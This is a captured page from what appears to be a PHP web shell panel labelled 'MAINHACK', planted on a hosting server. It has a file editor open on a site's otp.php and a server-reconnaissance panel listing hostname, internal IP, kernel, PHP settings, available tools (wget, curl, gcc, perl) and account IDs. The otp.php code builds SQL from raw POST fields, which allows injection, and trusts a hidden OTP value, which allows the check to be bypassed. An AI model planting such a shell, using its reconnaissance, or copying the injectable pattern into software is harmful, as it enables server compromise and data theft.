[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: otp.php
<?php include('header.php'); $m=base64_decode($_REQUEST['m']); $otp=base64_decode($_REQUEST['id']); $table=base64_decode($_REQUEST['table']); ?> <div class="login"> <div class="login-right aos-init aos-animate" data-aos="fade-down" style="transition:all 1600ms ease-in-out;"> <form method="post"> <input type="hidden" name="otp" value="<?=$otp?>" placeholder="OTP"> <input type="hidden" name="table" value="<?=$table?>"> <input type="hidden" name="field_name" value="email" > <input type="hidden" name="field_value" value="<?=$m?>"> <div class="row"> <div class="col-md-12"> <?php //echo md5('qwerty'); ?> <div class="form-left-to-w3l " id="b_name"> <label><i class="fa fa-edit"></i> Confirm <b style="color: #00a5ff;">OTP</b></label> <input type="text" name="otp_new" placeholder="Enter new OTP" aria-label="OTP" aria-describedby="basic-addon1" required=""> <!--<a href="#">Resend</a>--> </div> <div class="form-sub-acc"> <div class="form-sub"> <input type="submit" class="" name="sub" id="sub" value="Verify"> </div> </div> </div> </div> </form> <?php if(isset($_POST['sub'])){ if($_POST['otp']==$_POST['otp_new']){ $sq="update ".$_POST['table']." set status='ACTIVE' where ".$_POST['field_name']."='".$_POST['field_value']."'"; $stmt=$con->prepare($sq); $r=$stmt->execute(); if($_POST['table']=='client'){ $url='login.php'; echo '<script> setTimeout(function() { swal({ title: "Thank You ", text: "Your account is verified. You can login now.", type: "success" }, function() { swal("You will be redirected to Login page"); window.location = "'.$url.'"; }); }, 1000); </script>'; }else{ echo "<script>sweetAlert('Thank You!','We got your registration. We will contact you soon','success');window.location.href='index.php'</script>"; } }else{ echo "<script>sweetAlert('Oops!','OTP mismatched.Please verify otp.','error');</script>"; } } ?> </div> </div> <style> .login .login-right form .form-left-to-w3l label { font-family: 'Open Sans'; width: 100%; font-size: 20px; line-height: 22px; padding: 10px 0 20px; color: #250367; } .login .login-right form .form-left-to-w3l label i.fa { color: #300388; font-size: 25px;} .login .login-right form .form-left-to-w3l input[type="text"]{ font-family: 'Open Sans'; width: 100%; font-size: 16px; line-height: 22px; padding: 8px 10px; margin: 0; color: #000000; font-weight: bold; background: #fff; border-radius: 5px; border: 1px solid #d0cbcb; outline: none; display: block;} </style> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.58 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619